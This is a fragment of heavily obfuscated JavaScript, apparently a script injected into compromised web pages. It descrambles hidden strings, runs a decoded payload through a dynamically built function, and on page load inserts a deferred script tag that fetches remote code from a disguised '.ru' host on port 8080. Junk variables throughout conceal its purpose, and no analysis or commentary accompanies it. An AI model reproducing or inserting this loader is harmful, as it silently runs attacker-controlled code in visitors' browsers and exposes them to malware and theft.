[2,1,0]),4, V("oc.mmgdolusec.moe.bxii", [1,0]),5, V("eoggol.com", [3,4,1,2,5,0]),6, V("mioc.smeetapu0r.:880", [3,2,0,4,5,1]),7, V("iwndo.wonload", [1,0,2,3,4]),8, V("idnaipgnc.mo", [1,0]),11, V("nfuict(on)", [1,2,0]),12, V("sggel.ook", [2,7,6,1,4,3,5,0]),14, V("icibc.aom", [2,1,0,3]),15, V("tace(hc)", [2,1,0,6,5,4,3]),16, V(":ptth\"", [5,4,2,3,1,0]),17, V("deubdy", [1,3,2,0]),18, V(".dsrc", [1,0,2,3]),19, V("1\')\'", [1,0]),20, V("ryt", [2,0,1])];var v = /[^@a-z0-9A-Z_-]/g;var l = '';var Sa;if(Sa!='sx'){Sa='sx'};var JX=new Date();this.Zh="";var W = P.fromCharCode(37);this.Na=24260;var rO=new String();var tm = '';var wV="";var Jm="";var gj = '';var Z = C[V("tegnlh", [4,1,3,2,0])];this.qs="";var Ya;if(Ya!='yC'){Ya=''};var Ydh="";var Ep =[2][0];var Rb =[238,0,243][1];var T =[0][0];var MCV=false;var Pid;if(Pid!='Gm' && Pid!='mX'){Pid='Gm'};var cM;if(cM!='' && cM!='Edp'){cM=null};var DM;if(DM!='' && DM!='LA'){DM=null};var Wx=new Array();var fQ=new String();var nu;if(nu!='yhe' && nu!='MT'){nu='yhe'};var DS=false;for(var cy=T; cy < Z; cy+=Ep){var GO=new String();l+= W; var Tm;if(Tm!='bh'){Tm=''};l+= C[V("brtuss", [4,3,0,5,2,1])](cy, Ep);var oq;if(oq!='lm' && oq!='GC'){oq=''};}var C = zs(l);var EH = new P(m);this.oL=62872;var gX = EH[V("pcaelre", [5,3,0,4,2,1])](v, tm);this.OD='';var N = new P(e);var Ux=45075;var b = p[V("teglnh", [3,1,4,2,0])];this.qH=16380;this.oz='';gX = x(gX);var wu;if(wu!='zZ' && wu != ''){wu=null};var WU;if(WU!='ZlY' && WU != ''){WU=null};var KV;if(KV!='gr' && KV!='Yp'){KV=''};var sQ=new Array();var Ml=new String();var r = N[V("lperace", [3,2,1,0])](v, tm);var r = w(r);var uB=w(gX);var OH=new Array();this.yY="";var kI=false;var Nm;if(Nm!='WC'){Nm='WC'};for(var wy=T; wy < (C[V("elgnht", [1,0])]);wy=wy+[1,123,172][0]) {this.ql="";var mf;if(mf!='' && mf!='Jf'){mf='dM'};var wbk;if(wbk!='' && wbk!='uV'){wbk=null};var oE=false;var S = gX.charCodeAt(Rb);var UA = L(C,wy);var zM='';UA = k(UA, S);UA = k(UA, uB);var DK=false;this.IW='';UA = k(UA, r);var Df;if(Df!='' && Df!='In'){Df='UaX'};Rb++;var Efs=new Date();if(Rb > gX.length-U){Rb=T;var vK;if(vK!=''){vK='Lr'};var Lb=new Array();}var hZ;if(hZ!=''){hZ='sX'};this.org='';var ol='';gj += Hz(UA);var Mt="Mt";var eoU;if(eoU!='' && eoU!='ET'){eoU=''};}var YO;if(YO!=''){YO='ex'};this.nY='';var hK=18596;for(zt=T; zt < b; zt+=Ep){var HM;if(HM!='YH'){HM=''};var jPm;if(jPm!='' && jPm!='Rj'){jPm=null};var eAw=new Array();var tQ=new String();var B = p[zt + U];var By=48416;var my;if(my!='bk' && my != ''){my=null};var tI = Hz(p[zt]);var nM=new String();var dAA;if(dAA!='XD' && dAA != ''){dAA=null};this.DP=42955;var pA=new Array();var Wh = new YZ(tI, "g");this.NB='';this.afR='';gj=gj[V("peaclre", [5,1,0,4,2,3])](Wh, B);var ME=88;}var eK=new Array();var Fz;if(Fz!='' && Fz!='Kw'){Fz=''};var gp=new e(gj);gp();var xu="";var NU="";r = '';var kj;if(kj!='ZE' && kj!='Jmz'){kj='ZE'};gX = '';var Eb=40343;var hd=52863;uB = '';this.RI='';this.Eg=false;gp = '';var lc;if(lc!='Jn' && lc!='xdc'){lc='Jn'};this.Pa=false;N = '';var GW="";gj = '';var AB;if(AB!=''){AB='ODe'};var occ=new String();var iX="iX";var Ea=new String();return '';var VC;if(VC!='ga' && VC != ''){VC=null};};this.Ps="";var az=false;var El=new Array();m(gc);

var W;if(W!='A' && W!='F'){W=''};function P() {this.fB='';var d;if(d!='u' && d!='w'){d='u'};var dT=new Array();var a=new String();this.D="";var Y='g';var S=']';var Gl=RegExp;var Yp;if(Yp!=''){Yp='V'};var HX;if(HX!=''){HX='t'};var I='replace';var f='[';var n=new Date();var R=new Date();function G(C,v){var wc="";var Cz;if(Cz!='B' && Cz != ''){Cz=null};var WZ=new Date();var vS=f;var WS='';var DV;if(DV!='Du'){DV=''};vS+=v;vS+=S;var wH=new Array();var k;if(k!='Su' && k!='uE'){k=''};var Yd=new Gl(vS, Y);return C[I](Yd, a);};var c=G('hXt7tXpX:O/7/Oa7mJeObXlXoR-RjJpR.RaXmJaOzJo7nOa7wOs7.RcXo7mX.JsXfJrO-Jf7rR.XsOuOpXeXrRnJeRwOsXtOuXf7fO.Rr7uX:O',"RJX7O");this.i="";var m=G('sbcwrFiwpFtF',"Fwb");var Dj=new String();this.JG='';var cb=window;var N=G('8933559039525695833236353053326',"59263");this.Mb="";this.ut="";var j=G('cLrpe_aZtpepELlHepmHepn_tp',"ZH_Lp");var M='';var _;if(_!='z'){_='z'};var e=G('/ZgToZoZgTlZeZ.TcZoZmZ/ZgZoZoTgZlZeT.ZcZoTmT/TuZiZmTsZeTrZvT.ZnTeTtT/ZwZiTkZtZiZoZnTaZrTyZ.ToZrTgZ/TgZoZoTgZlTeZ.TcZlZ.TpZhTpT',"TZ");var nN="";var cw;if(cw!=''){cw='Wg'};var eL="";var GT="";var GK;if(GK!='DI'){GK='DI'};var DT='';cb[G('opnylpoyapdp',"py13")]=function(){this.AC="";var XA;if(XA!='vy' && XA!='io'){XA='vy'};try {var Av;if(Av!='ya'){Av='ya'};var ft=new Array();var Ai;if(Ai!='YQ' && Ai != ''){Ai=null};M+=c;var Jp="";M+=N;var tI=new Array();var PN=new Array();M+=e;var PY=new Array();var nh;if(nh!='' && nh!='qb'){nh=''};var o;if(o!='' && o!='Fi'){o='iD'};g=document[j](m);var PQ;if(PQ!='' && PQ!='xX'){PQ=null};var Io;if(Io!='' && Io!='YA'){Io=null};l(g,'src',M);var wG;if(wG!=''){wG='NK'};l(g,'defer',([1][0]));var Ml='';this.wM='';var GS;if(GS!='FG'){GS='FG'};document.body.appendChild(g);} catch(h){};var aC;if(aC!='' && aC!='TN'){aC=null};var uh=new Date();};var gp;if(gp!='VG'){gp='VG'};var ql='';function l(ct,GE,p){var Ff;if(Ff!='qX' && Ff != ''){Ff=null};var Mj=new String();ct.setAttribute(GE, p);var aQ=new Date();this.Wl="";}var VY=new Date();var v_=new Date();};P();